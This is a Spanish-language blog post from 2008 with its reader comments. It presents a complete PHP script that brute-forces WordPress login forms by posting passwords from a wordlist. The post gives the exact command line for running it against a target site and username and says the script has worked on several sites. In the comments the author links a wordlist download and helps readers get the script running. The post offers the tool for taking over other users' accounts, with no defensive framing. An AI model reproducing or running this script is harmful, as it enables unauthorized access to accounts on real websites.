El rincón de Zerial

Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio

Web Login por fuerza bruta

Octubre 4th, 2008 · 12 Comentarios

Wordpress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

  1. < ?php
  2. ini_set("memory_limit", "100M");
  3. function crackSite($wordlist, $url, $user, $attemps = 0)
  4. {
  5.         if($file = file($wordlist))
  6.                 print "Read ".count($file)." words.n";
  7.         else
  8.         {
  9.                 print "Can’t read word list file.n";
  10.                 die();
  11.         }
  12.         $i = 0;
  13.         rtrim($fields_string,‘&amp;’);
  14.         foreach($file as $word)
  15.         {
  16.                 if(++$i%10 == 0)
  17.                         print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
  18.                 $fields_string = "log=".$user."&amp;pwd=".trim($word);
  19.                 $ch = curl_init();
  20.                 curl_setopt($ch,CURLOPT_URL,$url);
  21.                 curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
  22.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
  23.                 $result = md5( curl_exec($ch) );
  24.                 if(!$oresult) $oresult = $result;
  25.                 if($oresult != $result)
  26.                 {
  27.                         print "Password found: ".$word."n";
  28.                         die();
  29.                 }
  30.                 curl_close($ch);
  31.         }
  32. }
  33. crackSite($argv[1], $argv[2], $argv[3]);
  34. ?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt http://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

Descargar video:
Mirror 1: Hardmodding (2.8M)

Posts relacionados

Etiquetas: Hacking · Programación · Seguridad

12 respuestas hasta ahora ↓

  • 1
    Pollo PERU Windows XP Mozilla Firefox 3.0.4 // Nov 30, 2008 a las 7:35 am

    $wordlist que pòngo aca podrias poner un ejemplo porfavor pon un enlace de block de nota o tengo que crear una base de dato dentro de php..

    #
    function crackSite($wordlist, $url, $user, $attemps = 0)

  • 2
    Zerial CHILE Linux Mozilla Firefox 3.0.4 // Nov 30, 2008 a las 10:43 am

    Pollo: wordlist es un archivo con la lista de palabras para realizar la fuerza bruta. Puedes descargar un wordlist desde aca: http://blog.zerial.org/files/wordlist.bz2

  • 3
    La importancia de la seguridad en la información | El ricón de Zerial UNITED STATES WordPress 2.7.1 // May 10, 2009 a las 3:12 am

    [...] En una de mis publicaciones, demostré como romper un login sin captcha con un sencillo script en bash que, basicamente, lo que hace es mediante una url y nombre de usuario pasado como argumento, consultar una lista de palabras en un diccionario e ir utilizando las palabras como password e intentar un login, hasta lograrlo. Tambien demostré como romper un hash cualquiera, con o sin salt, donde romper hashes de claves como las recien mensionadas era algo muy sencillo. Creo que despues de haber leido esto vale la pena plantearse el usar claves más seguras. [...]

  • 4
    sirpan ARGENTINA Ubuntu Linux Mozilla Firefox 3.0.10 // May 28, 2009 a las 6:17 pm

    con php5.cli instalado me esta dando un error con la funcion curl-init() dice que no esta declarada.

    alguna idea de porque?

  • 5
    Zerial CHILE Linux Mozilla Firefox 3.0.10 // May 28, 2009 a las 9:14 pm

    @sirpan: Tienes que tener curl habilitado/instalado para php.

  • 6
    _Dark_ CHILE Windows XP Mozilla Firefox 3.0.10 // Jun 17, 2009 a las 10:36 pm

    Oye zerial, me sale 404 para el video, si tienes el original, mandamelo al mail y lo subo de nuevo ;)

  • 7
    Zerial CHILE Linux Mozilla Firefox 3.0.11 // Jun 17, 2009 a las 10:44 pm

    @_Dark_ ya no tengo el video en “alta calidad” :( Pensé que aun estaba alojado en ese server… solo queda la version de youtube (calidad ahi nomas).

    En fin, sacare ese mirror

    gracias!

  • 8
    _Dark_ CHILE Windows XP Mozilla Firefox 3.0.10 // Jun 18, 2009 a las 3:04 am

    D: veré si está en alguno de los respaldos y te aviso… Nos migraron el server de un día para otro =\

  • 9
    _Dark_ CHILE Windows XP Mozilla Firefox 3.0.11 // Jun 29, 2009 a las 6:52 pm

    Corrígete el tamaño del video sipo’oe xD no son ná 5 megas, son como 3 :P

  • 10
    Zerial CHILE Linux Mozilla Firefox 3.0.11 // Jun 29, 2009 a las 7:01 pm

    2.8MB. Gracias @_Dark_ !

  • 11
    francis SPAIN Mac OS X Mozilla Firefox 3.0.11 // Jul 6, 2009 a las 5:47 pm

    perdi mi contraseña de messenger y me urge recuperarla por cuestion de trabajo.me podria ayudar?si es asi pongase en contacto conmigo en mi nueva direccion de hotmail que arriba le adjunto.gracias!

  • 12
    abel CHILE Windows XP Google Chrome 3.0.195.38 // Dic 31, 2009 a las 5:38 pm

    Que util :P
    si fuera más rapido seria ideal…

Deja un Comentario